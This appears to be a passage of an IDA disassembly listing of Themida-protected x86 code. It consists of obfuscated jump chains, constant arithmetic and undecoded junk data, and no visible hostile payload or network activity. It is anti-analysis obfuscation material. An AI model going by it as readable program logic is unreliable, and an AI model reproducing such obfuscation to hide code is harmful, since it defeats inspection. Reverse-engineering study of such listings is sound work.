		jmp	loc_54C5DE
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4870000h, 0EA815C24h, 4473219Eh, 0FFDD6BE9h,	0C8B66FFh
		dd 2D446824h, 3C890000h, 81E78924h, 4ECh, 242C8900h, 4BDh
		dd 17C78100h, 14A3F6Eh,	274CE9EFh, 9A680000h, 8900003Fh
		dd 74FF2404h, 4EE90424h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E68B:				; CODE XREF: Themida_:0054A917j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, edi
		pop	edi


loc_54E699:				; CODE XREF: Themida_:0054CF1Bj
					; Themida_:00550169j
		push	135Ch
		jmp	loc_550095
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4B9B6855h, 0A0E923E6h, 2900000Eh, 0E8295EF0h, 640AED05h
		dd 4BE95D49h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E6BF:				; CODE XREF: Themida_:0054ED0Ej
		xor	esi, 2DDC6658h
		push	esi
		pop	ebx
		pop	esi
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebx, edx
		pop	edx
		not	ebx
		jmp	loc_546C0B
; ---------------------------------------------------------------------------
		dd 0C270E95Fh, 0BA52FFFFh, 6C1A13A1h, 2068D2F7h, 8900007Bh
		dd 0A5E92434h, 87FFFFCCh, 248B2404h, 48B6624h, 5E545624h
		dd 0BFFCE953h, 0D301FFFFh, 2B9515Ah, 0E9000000h, 31F6h
; ---------------------------------------------------------------------------


loc_54E714:				; CODE XREF: Themida_:00551087j
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 47811E1Dh
		add	dword ptr [esp+4], 7ED04036h
		sub	[esp+4], ecx
		sub	esp, 4
		jmp	loc_54A0FB
; ---------------------------------------------------------------------------


loc_54E749:				; CODE XREF: Themida_:0054A2D4j
		xchg	edx, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		jmp	loc_54EEB3
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 1DE95E04h, 89FFFFE8h, 4C781E7h, 81000000h, 2C7h, 243C8700h
		dd 28692C5Ch, 666904F0h, 8324148Bh, 0B65202C4h,	0FEDEF6D1h
		dd 0A8EE80C6h, 1F17E9h,	4CF26800h, 815A6073h, 0E2E95EAh
		dd 9BF28156h, 0E92DC16Eh, 0FFFFB1E7h, 2CE304ACh, 4E20478h
		dd 0EF70E910h, 248BFFFFh, 4C48324h, 0E99CC83Bh,	0FFFF7A4Ah
; ---------------------------------------------------------------------------


loc_54E7C0:				; CODE XREF: Themida_:0054F521j
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 1
		add	ebp, 0FE9B9EBh
		add	edi, ebp
		jmp	loc_54EE84
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C3ED81D5h, 1B53AE8h, 0C1835DE9h, 0F9E95104h, 68FFFFDAh
		dd 36AE37CFh, 0FF9182E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E7F5:				; CODE XREF: Themida_:0054E598j
		pop	ebp
		and	ecx, ebp
		pop	ebp
		push	ebp
		jmp	loc_548F01
; ---------------------------------------------------------------------------


loc_54E7FF:				; CODE XREF: Themida_:00551DFCj
		inc	eax
		or	eax, 2BFB6457h
		xor	eax, 336C5695h
		jmp	loc_54A51A
; ---------------------------------------------------------------------------


loc_54E80F:				; CODE XREF: Themida_:0054AFB6j
		pop	esp
		mov	[esp], esi
		push	478Dh
		mov	[esp], ecx
		mov	ecx, 3F9478A3h
		jmp	loc_54A587
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 85h
		dd 56412C11h, 1BEh, 5EF70100h, 0D4C781h, 0FB31F2D4h, 0FCACE95Fh
		dd 0C89FFFFh, 4EC8324h,	68241489h, 87A3006h, 8324148Bh
		dd 256804C4h, 8900005Fh, 0F9BE2434h, 2153B54Ch,	24348BF2h
		dd 4A04C483h, 65CAEA81h, 0DEE9F444h, 51FFFFA0h,	4B9h, 0E9CF0100h
		dd 0CE5h
; ---------------------------------------------------------------------------


loc_54E884:				; CODE XREF: Themida_:0054C0BAj
		mov	ecx, 0
		sub	ecx, 28D63A47h
		add	ecx, edx
		add	ecx, 28D63A47h
		add	dword ptr [ecx], 1
		pop	ecx
		pop	edx
		jmp	loc_54A175
; ---------------------------------------------------------------------------
		dd 5E51E981h, 5749616Dh, 2C741CBFh, 5FF90972h, 0E981E1D1h
		dd 73B3B73Dh, 0E959CB29h, 2D5Fh, 0E9242C33h, 147Dh, 4EC8159h
		dd 0E9000000h, 0FFFFF250h, 4EC81h, 34890000h, 2BE24h, 0BA520000h
		dd 18452223h, 0E95AD001h, 0FFFF793Ah, 8104E2C1h, 0FF629BC2h
		dd 81DAF71Bh, 0A44E63EAh, 5AD38920h, 815BD889h,	953975EBh
		dd 2BEB8102h, 1055109h,	2BC381C3h, 81055109h, 953975C3h
		dd 80685802h, 89000024h, 74FF241Ch, 1C8B0424h, 4C48324h
		dd 5C24048Fh, 24040966h, 78C4E99Ch, 0C121FFFFh,	0E92434FFh
		dd 1A76h
; ---------------------------------------------------------------------------


loc_54E950:				; CODE XREF: Themida_:00551117j
		add	esp, 4
		add	bl, al
		add	bl, 5
		push	small 4D94h
		jmp	loc_551B64
; ---------------------------------------------------------------------------
aUs		db 'UéÓ(',0
		align 2


loc_54E96A:				; CODE XREF: Themida_:00549CBFj
		and	edx, 3923480Dh
		and	edx, 366873EFh
		add	edx, 27AEE91h
		jmp	loc_54DEC4
; ---------------------------------------------------------------------------


loc_54E981:				; CODE XREF: Themida_:00551A6Ej
		or	eax, eax
		jmp	loc_54EA35
; ---------------------------------------------------------------------------


loc_54E988:				; CODE XREF: Themida_:00552608j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54D0FB
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 0E9h
		dd 0FFFF78E1h, 37D7C981h, 0D9F7599Fh, 0EE9BF57h, 0D2E948CBh
		dd 0FFFFFFDAh, 7858E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E9B2:				; CODE XREF: Themida_:0054869Cj
		or	esi, 4B8960B4h
		xor	esi, 4F99F5BBh
		sub	ebx, esi
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 10h
		and	ebx, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_54C0AA
; ---------------------------------------------------------------------------


loc_54E9DE:				; CODE XREF: Themida_:00549A14j
		sub	edi, 0D4020753h
		mov	edx, edi
		pop	edi
		mov	eax, 0F239E6F2h
		add	eax, edx
		jmp	loc_54BBD4
; ---------------------------------------------------------------------------
		db 53h
		dd 1615E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E9F9:				; CODE XREF: Themida_:0054F733j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		push	esi
		jmp	loc_54ED08
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 66E11DB0h, 3A55E9h, 77F4E900h, 77FFFFFFh, 59669D1Ch
		dd 9C241CD3h, 0FF77E5E9h, 0D831ADFFh, 702B68h, 241C8900h
		dd 0FFCCB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EA35:				; CODE XREF: Themida_:0054E983j
		jz	loc_5493AB
		push	dword ptr [edi+28h]
		jmp	loc_54F2E8
; ---------------------------------------------------------------------------
		db 81h
		dd 0D9E90BEFh, 5FFE01E1h, 0E95EF221h, 0FFFFE683h
; ---------------------------------------------------------------------------


loc_54EA54:				; CODE XREF: Themida_:00549DFBj
		pop	esi
		jmp	loc_54FEB6
; ---------------------------------------------------------------------------
		dw 0DA28h
		dd 0E9B4C280h, 0FFFFF84Bh
; ---------------------------------------------------------------------------


loc_54EA64:				; CODE XREF: Themida_:0054C2BFj
		mov	[esp], edx
		mov	edx, 0A125580h
		sub	[esp+4], edx
		pop	edx
		add	dword ptr [esp], 76D35F8Dh
		push	eax
		push	ebx
		push	159951D0h
		pop	ebx
		push	ebp
		mov	ebp, 3F70BD5h
		jmp	loc_54DFA9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4EC8300h, 0BF243C89h, 2, 2D5BE9h
		db 0
; ---------------------------------------------------------------------------


loc_54EAA1:				; CODE XREF: Themida_:0054E096j
		push	2838h
		jmp	loc_5475A8
; ---------------------------------------------------------------------------


loc_54EAAB:				; CODE XREF: Themida_:0054D0D2j
		or	edx, eax
		shl	edx, 1
		push	edx
		push	3CF4h
		mov	[esp], eax
		jmp	loc_54BD24
; ---------------------------------------------------------------------------
		db 59h,	0C1h, 0E0h
		dd 9202E902h, 6866FFFFh, 89662ECAh, 37E9240Ch
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EAD3:				; CODE XREF: Themida_:00549BF5j
		shr	bl, 1
		jmp	loc_549B27
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 95F7E9FBh, 8B66FFFFh, 8957240Ch, 4C781E7h, 56000000h
		dd 1832E9h, 57D83100h, 0F17A4DBFh, 2E7C13Ch, 0DE87F787h
		dd 0DE87D3F7h, 0C781F787h, 647D5B99h, 0CEADE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB16:				; CODE XREF: Themida_:0054ECE2j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54A52D
; ---------------------------------------------------------------------------
		db 81h
		dd 0AE5D68C1h, 0E42CE907h, 0FCBFFFFFh, 0F7703C4Eh, 0B9CF81D7h
		dd 81071E11h, 0B4AB17EFh, 5FFB214Fh, 1A67F381h,	0FDE9578Eh
		dd 81FFFF8Dh, 6F64C4E3h, 867CE956h, 1C89FFFFh, 3B77BB24h
		dd 0C3810EAAh, 0F155C48Bh, 875BD901h, 575C240Ch, 0C781E789h
		dd 4, 4B951h, 9E90000h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EB8B:				; CODE XREF: Themida_:0054D281j
		mov	[esp], ecx
		push	edx
		mov	dl, 0C3h
		mov	ch, 52h
		xor	ch, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5505D4
; ---------------------------------------------------------------------------


loc_54EBA0:				; CODE XREF: Themida_:00552379j
		pop	edx
		or	edx, 623B31D9h
		push	ecx
		mov	ecx, 100A2589h
		shl	ecx, 6
		xor	ecx, 7C9C7536h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		dec	edx
		sub	edx, 1DC743FCh
		or	edx, 26954EE4h
		add	edx, 79761BABh
		add	ebx, edx
		pop	edx
		mov	dx, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 6A6B407Ah
		and	ebp, 136744C3h
		shl	ebp, 6
		neg	ebp
		and	ebp, 3EB0749Dh
		xor	ebp, 760F1DC2h
		sub	ebp, 502F793Eh
		jmp	loc_54AD16
; ---------------------------------------------------------------------------
		dd 0C12DF029h, 0FF62B174h, 835E2434h, 346804C4h, 89000037h
		dd 0DBE9241Ch, 0F7FFFFC2h, 0D9F749D9h, 4904E1C1h, 0FB39F181h
		dd 46E963F6h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EC3B:				; CODE XREF: Themida_:005516DDj
		pop	esp
		jmp	loc_54D05E
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0C0h
		dd 814D8047h, 4702CBF3h, 5BD829F7h, 0E958C329h,	0FFFFF788h
; ---------------------------------------------------------------------------


loc_54EC58:				; CODE XREF: Themida_:0054A293j
		add	edx, 4
		jmp	loc_54E56E
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB48EEF3h, 81DBF716h, 709A08F3h, 5BDA89EFh,	0C2E9D001h
		dd 8B00001Ah, 0C481240Ch, 4, 15F2F181h,	0D10174CCh, 0E541E95Ah
		dd 0DF2CFFFFh, 2434FF5Bh
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A3F0
; ---------------------------------------------------------------------------
		db 66h,	68h, 0A3h
		dd 66546642h, 6624048Fh, 0BC12E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ECB2:				; CODE XREF: Themida_:0054AE54j
		pop	edx
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		jmp	loc_552584
; ---------------------------------------------------------------------------


loc_54ECC0:				; CODE XREF: Themida_:0054C969j
		add	esi, 1
		inc	esi
		shr	esi, 5
		push	eax
		mov	eax, 389DAD3h
		sub	esi, eax
		pop	eax
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shl	eax, cl
		push	edi
		push	esp
		jmp	loc_54EB16
; ---------------------------------------------------------------------------
		db 89h
		dd 6BE9240Ch
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ECEF:				; CODE XREF: Themida_:0054F89Cj
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	edi
		push	250406Ch
		pop	edi
		shr	edi, 1
		push	ebx
		jmp	loc_551D79
; ---------------------------------------------------------------------------


loc_54ED08:				; CODE XREF: Themida_:0054EA01j
		mov	esi, 4BF502B2h
		dec	esi
		jmp	loc_54E6BF
; ---------------------------------------------------------------------------
		db 40h
		dd 4E8C148h, 0B55C3C35h, 15CFE968h, 0E1800000h,	56F18006h
		dd 59B55152h, 8059EE88h, 0F128AFF6h, 0FFF3BEE9h, 0C895CFFh
		dd 7CF8B924h, 0EC8311D9h, 241C8904h, 268308BBh,	8BE981EEh
		dd 1130065h, 93BD55D9h,	871EF47Fh, 75EAE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED62:				; CODE XREF: Themida_:005523EAj
		add	ebx, eax
		sub	ebx, 6FD85A5Ah
		pop	eax
		jmp	loc_54BF20
; ---------------------------------------------------------------------------
		dd 2C1835Fh, 5C240C87h,	4B30F66h, 87E99C24h, 8BFFFF74h
		dd 62E92414h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54ED8B:				; CODE XREF: Themida_:0055285Aj
		mov	edx, [esp]
		jmp	loc_5505C4
; ---------------------------------------------------------------------------
		db 31h
		dd 242C8BE8h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 5D54242Ch, 4C581h, 0F0680000h, 89000017h, 4B82404h
		dd 81000000h, 70F54C5h,	0DAED8126h, 1606D7Eh, 364BE9C5h
		dd 0BF570000h, 3ABE7630h, 0FF9CE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EDE1:				; CODE XREF: Themida_:0055061Cj
		inc	al
		dec	al
		not	al
		or	al, 0F6h
		jmp	loc_547085
; ---------------------------------------------------------------------------
		dw 0F7BEh
		dd 5600CC02h, 5E2414F7h, 26EBBF57h, 40E93447h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EE03:				; CODE XREF: Themida_:0054771Dj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_550035
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0BBB753EEh, 0F780D7F6h, 0E9FE0093h, 1BBEh, 83242489h
		dd 8B042404h, 8956240Ch, 4C681E6h, 57000000h, 4BFh, 82EE8100h
		dd 810F8671h, 5A2752C6h, 81FE015Ch, 5A2752EEh, 82C6815Ch
		dd 5F0F8671h, 5C243487h, 4C181h, 0C1810000h, 2,	31240C33h
		dd 0C33240Ch, 24248B24h, 2424D366h, 7390E99Ch, 0CF35FFFFh
		dd 0E9AFCE6Bh, 0FFFFC093h
; ---------------------------------------------------------------------------


loc_54EE84:				; CODE XREF: Themida_:0054E7D2j
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 0D723854h
		mov	ebx, [esp]
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 4Dh, 35h
		dd 8B660000h, 0EE68240Ch, 8900003Eh, 1CE92414h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EEB3:				; CODE XREF: Themida_:0054E750j
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, esi
		push	ebx
		jmp	loc_54C624
; ---------------------------------------------------------------------------
		db 0BBh
		dd 27532F39h, 565BDF29h, 0C681E689h, 4,	4EE81h,	34330000h
		dd 24343124h, 0E9243433h, 0FFFFCD26h, 8E2CB968h, 0E5815D7Ah
		dd 6D7118AFh, 47DCC581h, 0CD814034h, 74A73023h,	0D660C581h
		dd 0E83122EEh, 83242C8Bh, 0E8C104C4h, 4E8C107h,	42E0D02Dh
		dd 348150B2h, 0BC30F424h, 0F181593Dh, 3DBC30F4h, 0FFD8ECE9h
		dd 4BB53FFh, 1000000h, 0E2E95BDEh, 68FFFFDCh, 32581D8Fh
		dd 4EC815Ah, 89000000h,	81B9240Ch, 81077E76h, 8C6202C9h
		dd 4CF18152h, 816C2135h, 0FB5BCFE1h, 0CDE95041h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EF63:				; CODE XREF: Themida_:0054E2F7j
		shl	eax, 8
		sub	eax, 346E462h
		sub	ebx, eax
		pop	eax
		not	ebx
		jmp	loc_54681B
; ---------------------------------------------------------------------------
		db 1, 0D8h, 8Bh
		dd 8951241Ch, 4C181E1h,	81000000h, 4C1h, 0CBD0E900h, 348BFFFFh
		dd 4C48324h, 8158C701h,	4EFh, 30E900h, 0A9BD0000h, 0E9541C64h
		dd 0FFFFAA28h, 88AAEC80h, 0B35358E5h, 0DFB24Ch,	0C620E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EFBE:				; CODE XREF: Themida_:0054A5B8j
		sub	eax, 306F1CBDh
		push	3CA2h
		jmp	loc_547FE2
; ---------------------------------------------------------------------------
		db 0E9h, 38h, 72h
		dd 3C87FFFFh, 24248B24h, 50242C89h, 902DE8B8h, 0E750E960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EFE6:				; CODE XREF: Themida_:0054F506j
		sub	ebp, 0D9D5CBA3h
		jmp	loc_5480C8
; ---------------------------------------------------------------------------


loc_54EFF1:				; CODE XREF: Themida_:00549198j
		pop	dword ptr [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_54BB22
; ---------------------------------------------------------------------------
		dd 0FAEFE9ADh, 48FFFFFh, 0FBE95C24h, 54FFFF71h,	8324048Fh
		dd 0ABE904ECh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F01B:				; CODE XREF: Themida_:0054D910j
		push	eax
		jmp	loc_54F624
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 4875EF0h, 0BAFFE924h, 0EB81FFFFh, 27636F56h
		dd 0DDEB814Bh, 4306052Dh, 6278C381h, 0B0E9EC91h, 81FFFFA3h
		dd 0A54B88EFh, 5F595758h, 0C8BCB01h, 0E3895324h, 4C381h
		dd 0C3830000h, 241C8704h, 22F7E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F06E:				; CODE XREF: Themida_:0054A528j
		mov	ecx, [esp]
		push	ecx
		jmp	loc_547C39
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+1520h
		align 4
		dd 89241C89h, 7A7FE9E3h, 0E952FFFFh, 0FFFFB85Fh, 0F9C8E958h
		dd 972CFFFFh, 0EC817A04h, 4, 0B5240C89h, 0FFE82847h, 0AAE92434h
		dd 66FFFF9Ch, 0E935CDBFh, 0FFFFB69Fh, 2C8BEB29h, 4C48324h
		dd 42E9C231h, 68000028h, 72F1h,	81241C89h, 4ECh, 24248900h
		dd 4240483h, 33AE9h, 0C6815D00h, 4, 5C243487h, 19E95052h
		dd 68FFFF7Eh, 1AD4h, 0E9240489h, 0FFFFD9DCh, 0C06AC181h
		dd 4A2112B9h, 0E2E95930h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F10B:				; CODE XREF: Themida_:00547E4Fj
		pop	ebp
		jmp	loc_546F71
; ---------------------------------------------------------------------------
		db 1, 0FAh, 0E9h
		dd 0FFFFF230h, 4C181h, 0E9500000h, 0FFFFCA0Ch, 0B850E789h
		dd 4, 5658C701h, 4BEh, 5EF70100h, 0E9243C33h, 0FFFF8D1Ch
		dd 30B8h, 81D00100h, 84F90C30h,	0EEABE90Bh, 34FFFFFFh
		dd 89515924h, 4C181E1h,	81000000h, 4E9h, 9207E900h, 0BA52FFFFh
		dd 220E481Ch, 895AD329h, 0EA015BDDh, 2414335Dh,	2561E9h
		dd 14335800h, 24143124h, 8B241433h, 1EE92424h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F193:				; CODE XREF: Themida_:0054D6D6j
		xor	eax, ebp
		push	ebp
		jmp	loc_5484C8
; ---------------------------------------------------------------------------
		db 59h
		dd 6A8CC581h, 0C5015304h, 0FF8303E9h, 0C8B66FFh, 0C893E924h
		dd 0C281FFFFh, 2E22014Dh, 0FFB38AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F1BD:				; CODE XREF: Themida_:00549354j
		mov	[edi+38h], bh
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_551291
; ---------------------------------------------------------------------------
		dw 8359h
		dd 148904ECh, 3046B224h, 2434FFD0h, 0AA4E95Ah, 8B660000h
		dd 0D068240Ch, 89000014h, 72E92434h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1F3:				; CODE XREF: Themida_:00549BD2j
		pop	esp
		shl	edx, 1
		dec	edx
		jmp	loc_55163A
; ---------------------------------------------------------------------------


loc_54F1FC:				; CODE XREF: Themida_:0054F37Bj
		pop	dword ptr [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_551A68
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0F66E1F6h, 24E9CCB6h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F21F:				; CODE XREF: Themida_:00548CC5j
		pop	eax
		push	5DB7h
		mov	[esp], edx
		mov	dh, cl
		mov	bh, dh
		mov	edx, [esp]
		jmp	loc_54C681
; ---------------------------------------------------------------------------
		dd 0F0E9D101h, 89FFFFF8h, 16DCE9F0h, 8B660000h,	0EC81240Ch
		dd 4, 89243C89h, 4EC83E7h, 329E9h, 8BFD8900h, 0C483243Ch
		dd 0F5814D04h, 4B240065h, 0E5C1DDF7h, 0E1E94D04h, 1000013h
		dd 0FF088BF8h, 81582434h, 4C4h,	0B93EE900h, 8B66FFFFh
		dd 57E9240Ch, 6800002Eh, 1C9Ah,	56240C89h, 0B34BD568h
		dd 87E95E2Fh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F2A3:				; CODE XREF: Themida_:0054F3E4j
		add	esp, 4
		push	edx
		push	esi
		jmp	loc_54DFB8
; ---------------------------------------------------------------------------
aXs3		db 'XéÆ3',0
		dw 8100h
		dd 2ECh, 0C896600h, 4C6B124h, 2CC800D0h, 0C8B66D0h, 44C26824h
		dd 14890000h, 0AA64E924h, 4858FFFFh, 508E0C1h, 0A593C553h
		dd 0E958C589h, 0FFFFFAABh
; ---------------------------------------------------------------------------


loc_54F2E8:				; CODE XREF: Themida_:0054EA3Ej
		push	edi
		push	esi
		mov	esi, 2A196814h
		push	edi
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		pop	edi
		jmp	loc_550A12
; ---------------------------------------------------------------------------


loc_54F2FF:				; CODE XREF: Themida_:00548CD8j
		pop	dword ptr [esp]
		jmp	loc_55067E
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2815DEAh, 3AAC559Fh, 0A957C281h, 0A6E9CF78h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54F31B:				; CODE XREF: Themida_:00547F59j
		mov	[esp], ebx
		push	eax
		jmp	loc_54933E
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 50582434h, 4055854h, 56000000h, 7BC9BA52h
		dd 0F2815219h, 52197BCDh, 148BD689h, 4C48324h, 0B94DFE05h
		dd 5274055Ah, 0F0010265h, 0FFCBA0E9h, 243C89FFh, 0FF72DCE9h
		dd 15F2B9FFh, 38E936EDh, 89FFFFB2h, 0E9E92424h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F373:				; CODE XREF: Themida_:0054699Bj
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_54F1FC
; ---------------------------------------------------------------------------
		dd 0AD0F7AB9h, 3E9C163h, 0FFFFBA52h, 0D129FFFFh, 2EBF575Ah
		dd 515EB365h, 674AEFB9h, 0F7E98730h, 81E987DDh,	12A679C1h
		dd 8BCF09ACh, 0C481240Ch, 4, 6459EF81h,	0E7C12A92h, 174E908h
		dd 0E9570000h, 0FFFFA3EAh, 9D1C77FFh, 19665866h, 0E99C2404h
		dd 0FFFF6E32h
; ---------------------------------------------------------------------------


loc_54F3D8:				; CODE XREF: Themida_:0054E362j
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		xor	[esp+4], ebx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_54F2A3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4A136824h, 4890000h,	2F1DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F3FA:				; CODE XREF: Themida_:0054642Bj
		add	edi, 62ACAD6Eh
		or	eax, edi
		pop	edi
		xor	eax, 70E3FB0h
		mov	edx, eax
		jmp	loc_54796F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 5DE905E6h, 5BFFFF94h, 0CB8BA52h, 0EAC143E0h,	0D2F74202h
		dd 0FFAC7DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F429:				; CODE XREF: Themida_:00546920j
		mov	esi, [esp]
		push	ebx
		jmp	loc_54AB9F
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 73425DACh, 1C3814Bh,	81A3E1B8h, 0B70D11C6h, 81DE292Ah
		dd 0B70D11EEh, 0D6F75B2Ah, 4111EE81h, 0B951265Ch, 23F597F5h
		dd 0E959CE31h, 21CCh, 4C481h, 9BE90000h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F46F:				; CODE XREF: Themida_:0054E319j
		shr	ebx, 4
		push	edi
		mov	edi, 207D6F6Ch
		jmp	loc_546372
; ---------------------------------------------------------------------------


loc_54F47D:				; CODE XREF: Themida_:00546229j
		pop	ecx
		sub	ebx, 43041EE1h
		sub	ebx, ebp
		add	ebx, 43041EE1h
		pop	ebp
		not	ebx
		push	edi
		mov	edi, 4C5E0CE3h
		add	ebx, 142430FFh
		add	ebx, edi
		jmp	loc_550980
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFFA17h, 4E5AD689h, 5CFDCE81h, 0EE92A86h,	52FFFF8Eh
		dd 4BF57h, 0FA890000h, 0FF95DBE9h, 0C32C5AFFh, 0C304E800h
		dd 34FF292Ch, 240C8B24h, 10FD68h, 242C8900h, 0C581E589h
		dd 4, 0E904C583h, 3255h, 0C581E589h, 4,	0E904ED83h, 0FFFFA24Ch
; ---------------------------------------------------------------------------


loc_54F4FC:				; CODE XREF: Themida_:005511F3j
		push	ebp
		mov	ebp, 3EF74BDBh
		shl	ebp, 8
		dec	ebp
		jmp	loc_54EFE6
; ---------------------------------------------------------------------------


loc_54F50B:				; CODE XREF: Themida_:0054C3EAj
		sub	edi, 7E927F45h
		push	ebp
		mov	ebp, 600E5ACFh
		dec	ebp
		not	ebp
		sub	ebp, 1
		push	ebp
		jmp	loc_54E7C0
; ---------------------------------------------------------------------------


loc_54F526:				; CODE XREF: Themida_:0055254Fj
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		add	eax, esi
		pop	esi
		jmp	loc_55217C
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 7F62711Ch, 4EC81h, 0B9E90000h, 31FFFF7Bh, 35E958C5h
		dd 5DFFFFD8h, 0E95DE829h, 0FFFF6FA1h, 89241C89h, 7C89E9E3h
		dd 0E789FFFFh, 0FFB471E9h, 0CC6859FFh, 8900005Fh, 4B82404h
		dd 1000000h, 3C8758C7h,	1A83E924h, 1C890000h, 609DBB24h
		dd 96E93316h, 0BA000029h, 20713532h, 0FFE4DDE9h, 88E788FFh
		dd 48B5BFDh, 4C48324h, 0C8BEB88h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 8B66D820h, 8952241Ch, 50E956E2h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5CB:				; CODE XREF: Themida_:00550D27j
		push	1AAC5AEFh
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 3F3D31D0h
		and	edi, 2B7F72A4h
		push	eax
		mov	eax, 0
		sub	eax, edi
		jmp	loc_552657
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 2C7835Dh, 0E9243C87h, 0FFFF7D69h, 8904EC83h,	0EC81241Ch
		dd 4, 0B8240489h, 52DC505Ah, 9BD775BBh,	58C301E8h, 0E95BD929h
		dd 938h
; ---------------------------------------------------------------------------


loc_54F624:				; CODE XREF: Themida_:0054F01Cj
		push	25BCh
		mov	[esp], ebp
		push	79903C31h
		mov	ebp, [esp]
		add	esp, 4
		and	ebp, 2E560612h
		push	edi
		mov	edi, 449948C4h
		jmp	loc_54CD4D
; ---------------------------------------------------------------------------
